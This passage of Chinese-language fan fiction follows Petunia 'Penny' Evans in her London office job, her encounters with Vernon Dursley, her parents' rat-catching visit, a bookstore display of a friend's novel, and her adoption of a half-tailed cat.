“怎么是你?”德思礼脸上一副发现了新奇事的表情,他一只手攒成拳放在的桌子上,前方放着他的白瓷杯,另外一只手斜插在他的西装口袋里,视线环顾了一圈,“玛姬呢?”
“玛姬在你去美国的时候就已经离职了,这是接替她的佩妮·伊万斯小姐。”艾丽卡的电话咨询适时结束了,她从位置上站起来,走过来,替佩妮接过了德思礼前面的杯子。
艾丽卡正要同佩妮介绍德思礼,但看见德思礼和佩妮的表情,她说:“你们彼此认识?看来不用为你们互相介绍了。”
佩妮既为艾丽卡替自己接过德思礼的咖啡杯而心怀感激,又因她的这句话而感到脸烧了起来,她张嘴要同艾丽卡解释。但德思礼跟着艾丽卡一头钻进了茶水间,他高大的身影站在茶水间的门前,使那间不算大的茶水间更显逼仄。
德思礼低头对艾丽卡说了些什么,但咖啡机再次发出一声轰鸣,空气中散开咖啡豆被碾碎的香气,佩妮听不清他们在说什么,只隐隐听见一句“很有个性的小姐”伴随艾丽卡不甚清晰的笑声传了过来。
佩妮紧紧盯着自己面前的打字机。
很快德思礼端着他的咖啡从茶水间走出来,在佩妮面前停了下来。
现磨咖啡的香气愈发浓郁。
“先前我在美国出差,今天才回到格朗宁,要是我知道你在这里,你就不用费心将外套寄给我了,那可是一笔不小的钱,不是吗?”德思礼的目光使佩妮在心里先悄悄松了一口气,但不知为何又紧张了起来,“对了,黑狗还有再纠缠你吗?”
佩妮摇了摇头,有些紧张地对德思礼说:“感谢您那天的帮助,德思礼先生。”
“你的头发是天生的,还是染的?” 德思礼的话题会突然跳到她的头发上。
佩妮愣了一下,艾丽卡反应比她快,她说:“佩妮是天生的金发。”
“很漂亮的发色。”德思礼笑起来:“天生金发的女人总是更聪明一点。”
佩妮对德思礼露出一个礼貌的微笑,视线落在他身后墙上的挂钟上,指针离10点已经很近了。她对德思礼说了句抱歉,单方面掐断了德思礼继续同她聊天的愿望,一头扎进了她没有完成的任务里。
等佩妮将材料拿进里面办公室的时候,已经是10点10分了。
“比我们约定的时间晚了10分钟,伊万斯小姐。“早上把材料交给佩妮的威尔先生对她说,威尔先生的语气很温和,他只是叹了一口气。
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“对不起,“佩妮有些惴惴不安地说,“我耽误了会议吗?”
“没关系,之前玛姬在的时候,我们也经常碰到这样的情况,我早已习惯为你们预留一点时间了。“威尔对佩妮露出一个和善的笑容,”你们女士总要花费一定的时间习惯工作强度,格朗宁公司对职场女士是相当包容的。 “
落地窗旁边又聚集了好几个端着咖啡杯的男人,隐约传来讨论“股票”、“足球”、“汽车”的声音,德思礼也在其中。
威尔先生的眼神偶尔落在他们身上,然后又转回到佩妮身上,他还是那副和善的神色:“只是一个衷心的建议,下次如果有急件的时候,伊万斯小姐你最好专注于你的工作,而不要随意同别人攀谈,以免浪费你珍贵的时间。现在可以请您为我们即将开始的会议准备一些茶水和咖啡吗?谢谢您。”
指针的时间指向晚上六点,夜幕已经爬上了窗外的天空,办公室的人都走的差不多了,艾丽卡和佩妮一起在茶水间清洗水槽还有咖啡机。艾丽卡突然说:“弗农说那天你撞掉了他的热狗,还弄脏了他的西装外套。”
“我不是故意的!”佩妮脱口而出,但她马上就意识到自己的声音有一些大,语气有一些僵硬,明知道办公室只剩下她和艾丽卡了,但佩妮还是忍不住紧张地看了一眼茶水间外空无一人的办公室,稍微缓和了一下自己的语气,“热狗我重新买了一份赔给了他,他的衣服我也洗好了还给了他。”
“嘿,别紧张。”佩妮的神色使艾丽卡笑了起来,她凑近佩妮,用一副神秘的表情对佩妮说:“我的意思是,你给弗农·德思礼留下了深刻的印象。”
“他很有钱,佩妮。他妈妈早就去世了,爸爸之前是格朗宁的车间主管,前段时间也去世了。他的姐姐早就嫁人了。他姐姐叫玛姬,喏,跟原先坐在你这个位置的那个女孩同样的名字,但那个‘玛姬’可比原先坐在你这个位置的‘玛姬’厉害多了。”
“他爸爸妈妈在萨里郡给他留了一套豪华的别墅。但他自己也很有钱,他可是格朗宁的销售天才,才21岁就已经是格朗宁公司的初级主管了,手下管着七八个人呢。”艾丽卡对佩妮说,“董事会很喜欢他,总是派遣他去美国的那些公司进行交流,他可是前途无量。”
佩妮看着自己手上的蓝色橡胶手套,她举着沾满了白色泡沫的刷子,呆呆地站在原地看着艾丽卡。
“你给弗农·德思礼留下了深刻的影响,就像那些小说里一样。嘿,别用那种呆鹅一样的表情假装什么也不懂地看着我,你肯定知道我说的是什么,大家在中学的时候都看过那些书。”
《傲慢与偏见》的开头——凡是有钱的单身汉,肯定要娶位太太,这是一条全世界都认可的真理。
可这句不合时宜的话只在她的脑中一扇而过,留下来的,愈发清晰的却是伊索尔德的墨绿色的发带,还有莉莉的贝雷帽。
“抓住机会,佩妮,”艾丽卡的语气里透着难以言喻的兴奋,“就像玛姬一样,赶紧离开这里,住到萨里郡的豪宅里去。”
离开这,为什么要离开这?她才刚刚离开科克沃斯来到这。
咖啡机金属外壳的反光里,白色泡沫顺着佩妮蓝色橡胶手套滴落,浸湿她没有提前卷起来的衬衫衣袖,流下冰冷冷的痕迹。佩妮手忙脚乱地把刷子放回水池,摘下手套,在水池底下冲洗自己的衣袖。
艾丽卡沉沉地叹了一口气,拿起了佩妮的刷子,接替了她没有完成的工作。
“你真像一只呆鹅。”
69.chapter68
一开始,德思礼每天都把他的那只白瓷杯放在佩妮的桌上,等待佩妮给他准备一杯加糖加奶的咖啡,等待的间隙,他的视线有时落在佩妮完成了一半的会议文稿上,更多的时候落在佩妮的头发上。
佩妮低下自己的头,因为艾丽卡的话,为他的视线感到心跳加速。
但很快,德思礼的视线便从佩妮的头发上移开了,他端着咖啡融入了落地窗旁讨论着股票、汽车、足球的人群中,佩妮抱着文件经过时,他也没有往这边看。
“佩妮,你没有抓住机会。”在另外一个清洗咖啡机和水池的晚上,艾丽卡有些埋怨地对佩妮说,“他跟你聊天气、聊足球的时候,你不应该只回答是的或者好的,你真像一头呆鹅。”
但不知怎的,佩妮却在心里长舒了一口气。
等拿到工资,佩妮便一点也不觉得自己是一只呆鹅了。
她从计财处领走装有自己薪酬的那封棕色牛皮纸信封,装在外套口袋里,她把手伸进外套口袋里,摩梭着棕色信封微微粗糙的外壳,感受它在自己的掌心里微微发热。
她走在街上,人潮像她涌来,但没有视线过多地在她身上停留,她就像一滴水融化在池塘里,这种感觉使她感到安心,她不由得越走越快,最后几乎是一路小跑着冲回了属于她的那间公寓。
佩妮把窗帘拉上,坐在书桌前,虔诚地拆开那封牛皮纸信封,从里面拿出那一摞叠的整整齐齐的绿色纸币,先从前面数了一遍,又从后面数了一遍。
然后佩妮仰躺在自己的床上,闭上眼,把信封放在鼻尖,轻嗅着牛皮纸信封上传来的木浆和干草般的淡淡的气息。
佩妮将工资里面额最大的纸币都抽出来,再按目标数出好几张纸币,将它们单独放置在了一边,拿着这一摞纸币敲开隔壁麦克斯太太的门,将房租递交给她,麦克斯太太对佩妮露出一个笑容。
再回到自己的那间公寓,佩妮看见那摞少了三分之二的纸币,感到一阵心痛,但此时微风正好吹开了房屋的窗帘,将佩妮布置在书桌上的花瓶里的玫瑰花的芬芳,送到了她的鼻尖。
她环顾了一下这间不算大,但已被她收拾得干净整洁的房屋。
——这是一间独属于佩妮·伊万斯的房间。
在这一瞬间,这个念头以一种无法忽视的势头钻进了佩妮的内心,使她产生了无论如何都要留在格朗宁公司的强烈想法。
剩下的三分之一的纸币又被一分为二,左边的一打稍厚,是佩妮计算的接下来直到下一次工资发放日期,包括饮食在内的生活必需品的支出,这一打纸币被她锁进一个带锁的金属盒子中,放在衣柜抽屉的最里层。
还剩下几张薄薄的纸币,佩妮将它们夹在了自己的那本黑色笔记本里。
等到黑色的笔记本因为纸币的夹入而达到一定厚度时,佩妮抽出了里头的所有纸币,给爸爸妈妈还有莉莉寄去了礼物。
“爸爸什么都没有说,但是爸爸每天都在使用佩妮给他寄过去的电动牙刷。”妈妈在电话里说,背景里传来报纸翻动的声音,还有爸爸重重的咳嗽声。
佩妮笑起来,接着她有些紧张地问妈妈:“那你喜欢我送给你的礼物吗?”
佩妮把烤好的饼干装进纸袋里,在某一个下午送到了在楼下公司的奥莉维亚那里,奥莉维亚面无表情地站在休息间的咖啡机面前,涂着红色指甲油的右手夹着一根女士香烟,她妆容精致,嘴上描绘着鲜艳的口红,身上的西装套裙熨帖得整整齐齐。
佩妮心里有些打鼓,但奥莉维亚已经看到她了,她掐掉了手中的香烟,向佩妮走来。
室内的灯光下,精致的妆容好像假面一样覆盖在她的脸上,直到暴露在走廊的自然光线下,奥莉维亚的眼神才柔和了一些。
接过好几次佩妮送来的饼干,奥莉维亚那双仿佛也穿着西装套裙的眼睛才有那么一瞬间的柔和,有一天她站在走廊上,对佩妮说:“你很像玛格丽特。”
在确定奥莉维亚也不是开玩笑后,佩妮有那么一瞬间的吃惊,她小声对奥莉维亚说:“我是佩妮,不是莉莉,红头发绿眼睛的是莉莉。”
“我知道。”奥莉维亚皱着眉对佩妮说,“你是那个一直陪在玛格丽特身边,留在科克沃斯的那个孩子,玛格丽特在信里告诉我了。”
一直陪在玛格丽特身边的孩子。
佩妮的心里因为这句话而产生奇异的满足感,她听见奥莉维亚说:“她应该很高兴你能够来到伦敦,怎么样,满意你的工作吗?”
“我很喜欢你送给我的那瓶香水,佩妮。”妈妈在电话里温柔地说,“茉莉、金合欢,还有一种什么味道,让我想想……”
“是橙花。”佩妮接上妈妈的话语,补充道。她找了很多店铺,才在一家不慎起眼的小店找到这瓶符合她记忆中香水的味道,她把这瓶香水寄给了妈妈,但她的内心有一些紧张,因为仿佛窥伺了别人的秘密一般。
“我很高兴你去了伦敦,佩妮。”电话里妈妈的声音离她更近了一点,就好像妈妈把话筒更加靠近了她的脸颊。
“我也很高兴我能来到伦敦,妈妈。”佩妮对话筒里说。
等黑色笔记本再一次膨胀起来,便又过了一段时间,佩妮抽出夹在笔记本里的纸币,决定用这笔钱改善一下自己的居住环境。
先要解决夜晚楼道里的光线,佩妮购买了一块密不透风的黑布,装饰在靠近楼道那一侧的窗户上,这很好解决了夜间楼道里随着声音照射在佩妮床前的灯光。
然后是老鼠。
——老鼠现在是最困扰她的问题。
先是放在厨房的面包在第二天早上只剩下了一半,然后夜晚厨房下水道开始传来悉悉索索的声音,声音越来越响,仿佛在下水道进行狂欢派对。
佩妮购买了大量的捕鼠夹,但第二天早上,捕鼠夹上的饼干已经不见了,捕鼠夹上仍空空如也,似乎在嘲笑佩妮的徒劳无功。
“我已经放了捕鼠夹,但那一点用都没有。”佩妮在电话里向爸爸抱怨老鼠的事情,但爸爸却在电话里洋洋洒洒地抒发他对公寓陈旧管道的不满,佩妮有些生气地挂断了电话。
老鼠夜间窜动以及啃咬纸箱的声音直到凌晨才消失,佩妮看了一眼指向两点的时钟,心想幸亏明天是周末,她可以好好休息。
但佩妮只觉得自己刚闭眼没有多久,便被一阵轰雷声震醒,她躺在床上茫然地看着雪白的天花板好一会儿,心想可能下雨了。灵魂在空中飘荡了好一会儿,才慢慢下沉到沉重躯壳里,这时她才逐渐意识到,那不是雷鸣,是敲门声。
佩妮裹上外套,带着一肚子被扰清梦的怨气冲向门口
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,她要让门外的人知道,无论理由有多么合理,在周末打断一位淑女的美梦,都是极其不道德的行为。
她打开门,放大的瞳孔里冲过来写着“耦合剂”、画着骷髅头的瓶瓶罐罐冲到她的眼前,侃侃停在离她鼻头不足1厘米的地方。后面跟着戴着帽子和口罩,背着气压罐全副武装,神情兴奋的爸爸。
佩妮的鼻子后知后觉嗅到茉莉,橙花还有金合欢的香气。
同样全副武装,满脸兴奋的妈妈从爸爸身后钻出来,举起双手,高兴地对佩妮说:“捕鼠大队来了,佩妮。”
很难形容那天早上发生的场景,被叮叮当当的敲响水管,扳手叩击墙壁扬起的粉尘,爸爸蹲下去的背影,妈妈的手套,房间比第一天莉莉来送她时还拥挤混乱。
麦克斯太太裹着粉红色的披风敲响了佩妮的房门。
“现在是周六的早上。”她语气十分委婉。
“我们在给佩妮消灭老鼠。”妈妈从厨房里钻出来,她妈妈红色的头发系在一块蓝白色的头巾里,头巾灰一块儿,白一块儿,“您那边需要我们的帮忙吗?”
“噢,老鼠,公寓就是这样,老旧的下水道就是它们的温床。”最后麦克斯太太拿着佩妮烤好的饼干推开了佩妮的房门,“祝你们好运。”她给佩妮带上了房门。
“我们重新给你排查了一遍下水道和管路,”坐在炸鱼薯条店里,爸爸信誓旦旦地说,“封死了每一条墙缝,在老鼠可能出没的地方都投下了强力杀鼠药,我保证——现在绝对没有老鼠了。”
但佩妮举着叉子,盯着盘子里的白色沙拉酱,头已经开始不自觉一点一点了。
这一天以爸爸在泰晤士河边留下了一张佩妮看起来完全没有睁开眼的相片作为结束。
目送不请自来的爸爸妈妈坐上那辆红色的沃克斯豪尔,消失在街道的拐角处,佩妮以最快的速度洗漱完毕,倒在柔软的床上,长叹似地舒了一口气。
总算,这间房间现在只剩下她一个人了。
佩妮闭上眼睛,任凭黑暗像潮水一样裹挟住她,但在黑暗中,她听见了声音。
楼上传来桌椅腿划动地面的声音,时不时夹杂着孩子跑来跑去的声音——从今天的声音来看,那个孩子铁定没有穿鞋,床头抵着的那面墙里隐约传来电视机的声音,就好像麦克斯太太就在她的头顶看着电视。。
但佩妮仔细聆听了一会儿,没有从里面听见老鼠跑动还有啃咬纸箱的声音。
这些白天不明显的声音在此时此刻开始清晰起来,使佩妮即使阖眼了好一会儿,也没有成功进入梦乡。她皱起眉头,偏过头,却嗅到了枕头上残留的一丝茉莉、橙花混合金合欢的香气,香气隔断了那些困扰她的声音,使她不知不觉陷入沉睡中。
半夜时分,佩妮从床上弹坐了起来。
因为她听见厨房准时准点,再次传来一阵清晰的、熟悉的老鼠啃咬纸箱的声音。
不是吧,爸爸。
佩妮抬手捂住了自己的脸。
“老鼠解决了吗?”爸爸在电话里热忱地询问佩妮。
“一切都解决了。”佩妮手里抱着加倍的捕鼠夹和老鼠药,十分肯定地回答了爸爸。
因此等佩妮终于能带着多余的钱,推开那间联合书店的大门时,已经又是一段时间之后了。
70.chapter69
那是一间巨大的书店,上下足有两层楼。明黄色为主的室内装潢,墙上挂着中世纪风格的油画,看起来像宫殿一样。宫殿里头竖立着比灰与榆数量更多更高大的书架,它们像守卫一般严肃地伫立在宫殿的墙边,捍卫着其上浩如烟海一般的书籍。
佩妮行走在这些书架的中间,温暖的黄光照在书架上,空气里是一股桃、梨的水果甜香混合墨水的气息,那些书籍被分门别类地摆在书架上,整齐地凝视着佩妮,好像宇宙的群星,暗含一种深远而古朴的定律。
佩妮停在一面放满了浪漫爱情小说的墙前。视线里的浪漫小说占据了满满三个书架,佩妮在其中看到了一些熟悉的书名,但剩下都是佩妮没有见过的新的浪漫小说。
她的手指在书脊上流连,有些犹豫地停在了一本崭新的小说上。
她先四下张望着,一名打扮得相当精致的女人此时走到了她的身边。她的年龄看起来跟妈妈差不多大,佩妮下意识就把刚抽出一角的书塞了进去。
但女人只是看浅浅看了佩妮一眼,便把视线收了回去,快速地在书架上接连取下好几本小说,挑选了其中几本,拿在手里转身便去了收银台。
佩妮突然意识到,这里其实没有人在看着她。
一群结伴而来衣着打扮看起来像中学生的女孩子来到这堵墙面前,佩妮稍稍侧了身给她们让开一些空间。
“山雀不在这里。”一个黑头发戴眼睛的女孩视线在书架上下巡视了一番,有些失望地对她的朋友说:
“看,在那边。”另一个金色卷发,头发上别着一个樱桃发卡,穿着看起来像个精致娃娃的女孩突然指着书店的另一边说。
她们有些兴奋地往那个方向跑去。
佩妮想了想,便跟在她们身后,也向那个金发女孩手指的方向走过去。
然后她就听见了索菲的声音。
“在写作的时候,我感到自由。”
佩妮心下一惊,她快步绕过挡在她视线中的书架,匆忙走向声音的源头。
说话的不是索菲本人,是被一段被投射在白色墙壁上的彩色画面。
一个小型投影仪,但这个投影仪显然比塞拉菲娜的那个看起来更好,投射在白色墙壁上的画面更大更鲜艳。
彩色的画面投射进佩妮的眼底。
佩妮一眼就看见画面中心,穿着一条波西米亚长裙的索菲。
她坐在屏幕里的沙发上,栗红色的发间挽在脑后,发间别着一个珍珠发卡。脖子上戴着珍珠项链,耳垂上坠着同样款式的一对莹白色的珍珠耳环。
她本来就长得很美,如此精致打扮后,看起来更加光彩照人。
屏幕下方滚动的标题上写着:“小镇新晋天才美女作家索菲·特拉瑟姆的创作之路。”
身穿深蓝色西装外套的主持人询问索菲:“是什么促使您写出山雀这样的作品呢?”
刚刚那群讨论着山雀的女孩子,就站在画面旁边的一个书架上,每个人手里都拿着一本封面一样的书。
佩妮走过去,看见那个书架上面摆满了各式各样的书,最中间显眼的位置用亚克力板树立着一本书,白色的封面,红色的线条在封面的左边构成一只鸟,外形看起来像一只鹰,换一个角度又像垂泪的女人。封面的右边则用漂亮的镀金花体字写着“山雀”。
书本旁边立着一块小黑板,上面用鲜艳的字体标注着“本月热销第一”、“最有潜力新书”等字样。
“嗯,因为有时候我觉得不太自由。”屏幕里的索菲开口了,她从沙发上坐直,眼睛里闪烁着动人的光泽,“科克沃斯您知道的,天上总是盖着厚厚的乌云,看起来天空离我总是很近。”
“所以我想,我要是一只鸟就好了,从这片天空,飞到另外一片天空。”索菲举起她的双手,示意云层的样子,左手无名指的钻戒在白色的灯光下闪闪发光。
“你的创作之路顺利吗?”主持人询问索菲。
镜头里伸过来另外一只男人的手,盖在了索菲交握在膝盖上的手上。
镜头一转,佩妮才发现索菲的旁边坐着一个男人,穿着一套面料看起来十分昂贵的西装,黑色的头发用发胶抓出精心打理过的纹路,等他抬起手,露出手腕上的表时,佩妮才意识到那是那个把索菲推进计程车里的那个男人。
“我的太太总是对自己不太自信,”他替索菲回答了这个问题,“实际上她是我见过的最有天赋的作家。”
“不得不说这是一本相当有灵气的小说,虽然它属于浪漫爱情小说,但我第一次读到它的时候,就被里面的生命力和对自由的向往打动了。它能打动我,也能打动一切阅读它的读者。”
“诺顿导演看中了这本小说,买下了山雀的版权,我们很快就能在电视机上看见这个故事。”
镜头给到索菲和那个男人交握的双手,以及她无名指的戒指上那颗晶莹的钻石。
屏幕定格,接着切换到另外几个画面。
西伯利亚高原,终年被覆盖白雪的群山,冒着炊烟的木屋,闭上眼睛旋转的女孩,雪中像火焰一样鲜红的发色,泪水,林间的奔跑,被融化的雪水弄脏的赤裸的脚。
最后的画面是一只像鹰一样矫健的鸟,抖落翅膀上的雪,直冲向蓝天。
画面结束,几行白字浮现在了屏幕的上面。
“她想做一只鸟,飞过西伯利亚的上空。”
“科克沃斯小镇新晋天才美女作家。”
“19岁惊世之作。”
“知名导演参与电影监制。”
“传奇编剧保驾护航。”
“敬请期待——山雀。”<
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p>屏幕变暗,但很快,画面一亮,又转回了主持人采访索菲的镜头,相同的内容看起来已经循环播放了很多次,那群年轻的女孩子早已离开了书架。
“等你在书店遇到它,你会一眼认出来的。”
佩妮伸手从书架上拿了一本《山雀》到自己的手上。
等回到科克沃斯,再见到阿加莎女士,她会很认真地对她说,索菲在伦敦得到了她想要的一切。
“她既渴望自由,她也渴望爱。”书封上写着《山雀》标志性的那句话,佩妮翻到书本的背面,上头有很多知名文学评论家对这本书的评论。
——“与山雀共同经历一场酣畅淋漓的爱情之旅。”最显眼的位置写着这样一句话。
佩妮把那本《山雀》递给了收银台的女士。
“这本书确实很不错,我也收藏了一本。”收银台的那位女士将《山雀》拿在手上,对佩妮露出了一个笑容。
在回家的路上,一个年龄同她差不多大的女孩怯生生地拦住了佩妮,这个女孩穿着动物保护协会服装,递给了佩妮一块牌子,上面写着:“给一只流浪动物一个家——拯救一条生命。”
佩妮的黑色笔记本早已经扁了下去,她要怎么再给流浪动物一个家呢?
可是那个女孩子递给佩妮的牌子上画了一只黑猫。
一股不知名的力量控制着佩妮的双腿,使她跟着那个女孩走进了流浪动物保护协会临时租赁的房屋。
房屋不是很大,空气里弥漫着一股刚开封的谷物混杂着鱼干的热烘烘的气息。
耳朵里挤满了小猫小狗的吠叫。
佩妮的视线从那些笼子里划过去,没有在里面看见自己期待的东西。
“我想要一只黑猫。”于是佩妮对那个女孩说,可是听到佩妮的话,女孩却露出了为难的神色,她对佩妮解释,目前收养的流浪猫里,没有黑猫。
佩妮有那么一丝失望。
但这时一只矫健的小巧身影从一间小屋里冲了出来,嘴里叼着什么,擦着佩妮的腿跑过去,后面跟着好几个面带惊慌的人,他们都穿着动物保护协会的衣服。
“多利,它怎么又跑出笼子了。”跟在佩妮身边的女孩发出了一声尖叫,也加入了追捕它的人群中。
但那个身影实在是太矫健了,它看见流浪动物保护协会的门关得严严实实,便转换了策略,沿着房间的猫爬架一路上了高处。
佩妮这个时候才发现,这是一只头顶有一撮黑毛的白猫,它嘴里叼着一只老鼠,它坐在众人够不着的高处,伸出爪子拨弄那只垂死挣扎的老鼠,等到玩够了,再一口吞下它,然后优雅地顺着猫爬架跳了下来。
佩妮这时才发现,那只猫虽然十分敏捷,但是它只有半条尾巴。
“我要收养那只猫。”佩妮对那个女孩说。
71.chapter70
砰——,身后的门狠狠撞击在墙上,发出一声重响,把佩妮和艾丽卡都吓了一跳。
出来的是怒气冲冲的德思礼。
“噢,天呐,弗农,发生了什么,你看起来狼狈极了。”艾丽卡回头尖叫了一声。
佩妮转身看过去,发现他手上拿着一份被咖啡浸湿的文件,他的衬衣领口还有袖口都是咖啡的深褐色污渍。
“我的咖啡被弄翻了,怎么可能是不小心的呢,那就是嫉妒!”德思礼看起来气坏了,他的脸涨得通红,靠近脖子的部分甚至有一些发紫,他冲到水池边打开水龙头,愤怒地清洗着手上的污渍,“我的文件!”
“还有我的西装!”他在水池边用清水打湿他的衬衫,手法粗暴地揉搓着。
水池里的水被开到最大,水珠从水池里溅跳出来,不多时在他脚下汇集成了一滩小水洼。
但那样是洗不干净的,佩妮心想,只会把周围的一切都弄得更糟糕。
“我的客户马上就要到了,”德思礼叫起来,举起他的双手,转过身来看着佩妮和艾丽卡,“拜托,你们,别在那儿看着我了,快帮我想想办法。”
水珠随着他的动作甩到了佩妮的桌子上。
“请冷静一点。”佩妮站起来,她走到德思礼面前。
水池上方的镜子里反射出德思礼的脸,他清洗了一把自己的脸,水珠顺着他的额头滑落,滑过他抿成一条线的嘴唇。镜子里,他的眼睛里带着一种孩子般的愤怒和茫然,直愣愣地看着佩妮。高大的身躯微微颤抖。
佩妮错开和德思礼对视的视线,垂下眼睛目光落在他领口和袖口的咖啡污渍上,那些星星点点的痕迹全是溅上去的,但没有成块分布的污渍。
“你的西装外套呢,德思礼,冷静些,我们在帮你想办法。”佩妮对德思礼说。德思礼的脸由青转红再转白,剧烈起伏的胸膛逐渐平静下来,他深深吸了一口气,转头进了里面。
门再次发出一声响,声音比先前要小了一些。
“艾丽卡,我想借用一下你的针和线。”
艾丽卡的抽屉里放着一幅未完成的十字绣。佩妮从针线里比对了几条线的颜色,这时德思礼穿着他的西装外套推开门走了出来。
佩妮拿着穿好线的针站在德思礼的面前,德思礼十分高大,佩妮要仰着头才能看见他的领口。
西装外套遮住了袖口和领口的一些污渍,但是还有一些遮挡不住。
佩妮举起了她的手,银色的针在灯光下折射出锐利的光芒。
德思礼微微眯起了他的眼睛,不自觉往后靠了一下:“伊万斯小姐。”
“请不要动,以免真的扎到你。”
银色的针带着金褐色的线在佩妮的手上游动,家政课很久以前是她最喜欢的课程,霍金斯太太教给她的手艺在这个时候派上了用场。
一开始佩妮还有些生疏,但到后面,熟悉记忆从大脑深处翻涌出来,金色的线以一种极快的速度在德思礼的袖口和领口上变成一朵朵金色的花。
直到最后一块污渍也被掩藏在花瓣下。
“好了。”佩妮咬断最后一根金线。
德思礼转身看着镜子,打量着他领口袖口新绽放的金色花朵,红晕再次从他的脸上浮起。
他整理着领口,后退一步,皮鞋踩到了先前溅出的水洼,他看着佩妮和艾丽卡说:“等我处理完手上的事情,我就帮你们把这儿弄干净。”
艾丽卡笑了起来:“得了吧,德思礼,这点小事就不劳你费心了,你们只会越帮越忙。”
“听着,”德思礼没有急着进到里面去,他拿起先前放置在佩妮桌上的,被咖啡弄脏的文件,清了清嗓子,略微有些不自在地说:“佩妮,我还需要你帮我一些小忙,能帮我重新再打一份文件出来吗?”
时钟上的指针显示,留给德思礼的时间已经不多了,但佩妮接过文件,将它们放置在打字机的键盘上旁边,双手在键盘上快速敲打起来。
佩妮专注地看着打字机上的文稿,但她可以感觉到德思礼的视线一直落在她的身上。
只消很短的一段时间,佩妮就将那份文件一字不错地重新打印了出来,看着德思礼春风满面地拿着它重新走进办公司。
佩妮把针和线还给艾丽卡,艾丽卡对她露出了一个促狭的笑容。
“干得漂亮,佩妮。你总算不是一只呆鹅了。”
佩妮看着德思礼带着志得意满的笑容将几位西装革履的客人送出格朗宁钻机公司的大门。
他拉开门的手露出白色袖口,上面绣的花朵在光线下反射出金色的光芒。
他朝佩妮和艾丽卡走来,想对她们说什么,但这时门开了,有人把德思礼重新叫了进去。
“他肯定又签成一笔大订单了。”艾丽卡对佩妮说,“我们可帮了他一个大忙。”
等佩妮和清洗完咖啡壶,收拾完会议室,整理好文件柜,关灯关门走出百货大楼的时候,已经比正常下班时间晚了整整一个小时。
她走出百货大楼,天已经暗了下来,街灯逐渐亮起。
“佩妮。”有人喊住了她。
是德思礼。
他竟然还没走,他靠在一辆线条优雅流畅的黑色汽车旁,左手食指和中指夹着一根香烟,白色的烟雾升腾而起。
他看见佩妮,迅速扔下那根香烟,抬脚踩灭明火,向她走来。
路灯下,白天那套被溅上咖啡的西装已经不见了,取而代之的是另一套面料看起来更昂贵的西装,领带上面别着一个金色的领带夹。
他先抬眼看着佩妮,然后移开视线,伸出手拨弄了一下自己的头发,对佩妮说:“佩妮,你今晚晚上有空吗?想去酒吧一起喝一杯吗?”
“你总算不是一只呆鹅了。”艾丽卡的话回荡在佩妮的耳边。
佩妮看着德思礼,路灯下的他身材高大,神情却像个孩子一样真挚。
但她听见自己说:“不,谢谢你的好意,德思礼先生,但我有别的安排了。”
通往廉价公寓前的那条小路没有灯,只有借助月光才能看清路面的情形,有时候云层把月亮遮住,那就十分糟糕了,小路完全笼罩在黑暗里,黑暗中仿佛有什么东西在等待她一样。佩妮就只能在路口等待着月亮重新露出来的时刻。
幸运的是,她再也没有碰到那条讨厌的黑狗,不知道它是被警察逮捕了还是被流浪
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动物保护协会抓走了,反正怎样都比它在大街上恐吓无辜的路人强。
此时月光静悄悄地洒在小路的地面上,佩妮深吸一口气,三步并作两步,冲过小路,钻进公寓的大门,一鼓作气跑上楼,来到自己的房门前。
钥匙插进锁孔时,佩妮大口喘着气,听见自己的心脏砰砰直跳。
她把房门推开一个小缝,侧身挤了进去。
关上门,打开灯,多利早已等待在她的脚下,它看起来刚睡醒,佩妮整齐的床单上印出一只小猫蜷缩成一团的痕迹,多利走向它的猫抓板,将猫抓板抓出细碎的纸屑。等多利抓够了,便摇着它的尾巴,停在空掉的饭碗前,回头对佩妮发出了一声催促的喵呜声。
所有的声音在此时都不如多利那一声的喵呜声来的响亮,佩妮觉得自己的心脏被什么东西填满了。
她来到多利的饭盆前,将超市里最便宜的猫粮倒入她的饭碗里,看见多利低下头毫不在意地嗷嗷大吃,心中感到既满足又愧疚。
其实她今天晚上没有什么安排,她只是觉得不能让多利等她太久。
“它是我们这儿最优秀的捕手。”那位流浪动物保护协会的姑娘对佩妮说,看着多利的眼神是骄傲的,但语气里又带了点遗憾。
最优秀的捕手刚来到佩妮的小屋,它的鼻子在空气中抽动了几下,便敏捷地跳进了厨房,不出几天,夜间悉悉索索的声音就消失了。
老鼠彻底得到了解决。
但最优秀的捕手马上就无事可做了。
声音消失的前几天,多利仍试图冲着佩妮还有厨房的下水道和墙壁喵呜叫,但下水道和墙壁以沉默回应它。最优秀的捕手只好拖着它的半节尾巴,无视佩妮的警告,跳上了她的床,百无聊赖地卧上了她的枕头,可只要窗外出现一丁点声响,它就要跃到书桌上,专注地看着窗外。
“你要一定注意,封好窗,锁好门,优秀的捕手总是向往自由的天空,但不要给它任何机会。”流浪动物保护协会的姑娘如此警示佩妮,“马路上有汽车,街角那些食物里你不知道有没有老鼠药。”
“看见它的尾巴了吗?”她对佩妮说,“有时候,你必须要进行取舍。”
佩妮关好窗,锁好门,把最优秀的猎手放在这间安全、封闭的小屋里。
她是唯一陪着它的活物。
多利吃完了她的晚餐,舔舔自己的爪子,冲佩妮拱起了脊背,露出它磨得尖锐的指甲,但这间房屋里已经失去了它的猎物。
她不想让它等待太久。
吃完三明治,佩妮洗好澡,坐在书桌旁。
多利跳上她的书桌,专注地看着窗外的灯光,这些灯光中,它最喜欢会动的汽车尾灯。
佩妮翻开了那本《山雀》,一连好几天,佩妮都沉浸在这个故事里,无法自拔。
“风雪停了那天,山雀的翅膀已经愈合。它试探性跃出女孩给它搭建的巢穴,但它太久没有飞翔了,险些坠落到地上。”
“但就在跌落至地面之前,它突然展开了它的翅膀——那双翅膀比老鹰还遒健,它越过水面,凌空而起。”
“阳光太刺眼了,望着它的女孩忍不住落下眼泪。”
72.chapter71
“所以,这就是你的故事?”那名男编辑对佩妮说。
离佩妮不远处,数台打印机并成一排轰鸣,持续加热室内的空气。电风扇在佩妮头顶旋转,发出轻微的嗡嗡声,扇叶切割吊灯的光芒,在男编辑的书桌上投下斑驳的影子,但带起的风一点也不能缓解室内此时的燥热。
佩妮可以感觉到细微的汗珠从自己的后背滑落,她想把她自己的西装外套脱下来,可是那样就会暴露她被泅湿的后背和腋下,那样既不淑女,也不礼貌。
因此佩妮只好忍受着因炎热涌出的汗水融化在她的衬衣上,变成冰凉的触感,贴在她的后背上。
男编辑没有穿外套,白色衬衣的衣袖挽到了手肘上方。他靠坐在黑色皮革椅上,左手转动一支按动式圆珠笔,头微微向后仰,一双眼睛似笑非笑地从高处凝视着佩妮。
